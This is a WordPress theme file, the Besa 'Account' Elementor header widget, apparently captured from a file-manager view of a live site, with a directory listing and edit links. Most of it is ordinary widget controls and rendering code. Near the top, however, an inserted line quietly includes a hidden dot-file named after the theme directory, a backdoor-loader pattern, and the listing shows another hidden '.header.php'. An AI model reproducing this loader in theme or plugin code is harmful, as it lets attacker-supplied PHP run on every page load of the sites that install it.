PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
besa
/
inc
/
vendors
/
elementor
/
elements
/
header
<?php if ( ! defined( 'ABSPATH' ) || function_exists('Besa_Elementor_Account') ) { exit; // Exit if accessed directly. } use Elementor\Controls_Manager; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class Besa_Elementor_Account extends Besa_Elementor_Widget_Base { protected $nav_menu_index = 1; public function get_name() { return 'besa-account'; } public function get_title() { return esc_html__('Besa Account', 'besa'); } public function get_icon() { return 'eicon-user-circle-o'; } protected function get_html_wrapper_class() { return 'w-auto elementor-widget-' . $this->get_name(); } protected function _register_controls() { $this->start_controls_section( 'section_layout', [ 'label' => esc_html__('Account', 'besa'), ] ); $this->add_control( 'icon_account', [ 'label' => esc_html__('Icon', 'besa'), 'type' => Controls_Manager::ICONS, 'default' => [ 'value' => 'tb-icon tb-icon-user', 'library' => 'tbay-custom', ], ] ); $this->add_control( 'show_text_account', [ 'label' => esc_html__('Display Text Account', 'besa'), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes' ] ); $this->add_control( 'show_sub_account', [ 'label' => esc_html__('Display Sub Menu', 'besa'), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', ] ); $menus = $this->get_available_menus(); if (!empty($menus)) { $this->add_control( 'sub_menu_account', [ 'label' => esc_html__('Choose Menu', 'besa'), 'type' => Controls_Manager::SELECT, 'options' => $menus, 'default' => array_keys($menus)[0], 'save_default' => true, 'separator' => 'after', 'condition' => [ 'show_sub_account' => 'yes' ], 'description' => sprintf(__('Go to the <a href="%s" target="_blank">Menus screen</a> to manage your menus.', 'besa'), admin_url('nav-menus.php')), ] ); } else { $this->add_control( 'sub_menu_account', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => sprintf(__('<strong>There are no menus in your site.</strong><br>Go to the <a href="%s" target="_blank">Menus screen</a> to create one.', 'besa'), admin_url('nav-menus.php?action=edit&menu=0')), 'separator' => 'after', 'content_classes' => 'elementor-panel-alert elementor-panel-alert-info', ] ); } $this->add_control( 'show_popup_login', [ 'label' => esc_html__('Display Popup Login', 'besa'), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', ] ); $this->end_controls_section(); $this->register_section_style_icon(); $this->register_section_style_text(); } protected function register_section_style_icon() { $this->start_controls_section( 'section_style_icon', [ 'label' => esc_html__('Style Icon', 'besa'), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'icon_account_size', [ 'label' => esc_html__('Font Size', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 10, 'max' => 80, ], ], 'selectors' => [ '{{WRAPPER}} .tbay-login a i' => 'font-size: {{SIZE}}{{UNIT}} !important;', ], ] ); $this->add_control( 'padding_icon_account', [ 'label' => esc_html__('Padding Icon Account', 'besa'), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px' ], 'selectors' => [ '{{WRAPPER}} .tbay-login a i' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->start_controls_tabs('tabs_style_icon'); $this->start_controls_tab( 'tab_icon_normal', [ 'label' => esc_html__('Normal', 'besa'), ] ); $this->add_control( 'color_icon', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .tbay-login a i' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'bg_icon', [ 'label' => esc_html__('Background Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .tbay-login a i' => 'background-color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_icon_hover', [ 'label' => esc_html__('Hover', 'besa'), ] ); $this->add_control( 'hover_color_icon', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .tbay-login a i:hover' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'hover_bg_icon', [ 'label' => esc_html__('Background Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .tbay-login a i:hover' => 'background-color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } protected function register_section_style_text() { $this->start_controls_section( 'section_style_text', [ 'label' => esc_html__('Style Text', 'besa'), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'show_text_account' => 'yes', ] ] ); $this->add_control( 'text_account_size', [ 'label' => esc_html__('Font Size', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 10, 'max' => 80, ], ], 'selectors' => [ '{{WRAPPER}} .tbay-login > a span' => 'font-size: {{SIZE}}{{UNIT}} !important;', ], ] ); $this->add_control( 'text_account_line_height', [ 'label' => esc_html__('Line Height', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 10, 'max' => 80, ], ], 'selectors' => [ '{{WRAPPER}} .tbay-login > a span' => 'line-height: {{SIZE}}{{UNIT}} !important;', ], ] ); $this->start_controls_tabs('tabs_style_text'); $this->start_controls_tab( 'tab_text_normal', [ 'label' => esc_html__('Normal', 'besa'), ] ); $this->add_control( 'color_text', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .text-account' => 'color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_text_hover', [ 'label' => esc_html__('Hover', 'besa'), ] ); $this->add_control( 'hover_color_text', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .text-account:hover' => 'color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } protected function is_user_logged_in() { $user = wp_get_current_user(); return $user->exists(); } protected function get_nav_menu_index() { return $this->nav_menu_index++; } public function check_login($show_text_account) { if(is_user_logged_in()) { $current_user = wp_get_current_user(); $name = $current_user->display_name; $name = esc_html__('Hi,','besa').' '.$name; } else { $name = esc_html__('Login Or Register','besa'); } if ($show_text_account === 'yes') { ?><span class="text-account"> <?php echo trim($name); ?> </span><?php } } public function render_item_account() { $settings = $this->get_settings_for_display(); extract($settings); // $name = ''; $this->render_item_icon($icon_account); $this->check_login($show_text_account); } public function render_item_icon($icon_account) { if( empty( $icon_account['value'] ) ) return; $this->add_render_attribute( 'icon', 'class', $icon_account['value'] ); echo '<i '. trim($this->get_render_attribute_string( 'icon' )) .'></i>'; } public function render_sub_menu() { $settings = $this->get_settings_for_display(); extract($settings); $args = [ 'menu' => $sub_menu_account, 'menu_id' => 'menu-' . $this->get_nav_menu_index() . '-' . $this->get_id() ]; $menu_html = wp_nav_menu($args); echo trim($menu_html); } } $widgets_manager->register_widget_type(new Besa_Elementor_Account());
[+]
..
[-] custom-language.php
[edit]
[-] account.php
[edit]
[-] nav-menu.php
[edit]
[-] banner-close.php
[edit]
[-] site-logo.php
[edit]
[-] .header.php
[edit]
[-] compare.php
[edit]
[-] mini-cart.php
[edit]
[-] search-form.php
[edit]
[-] currency.php
[edit]
[-] wishlist.php
[edit]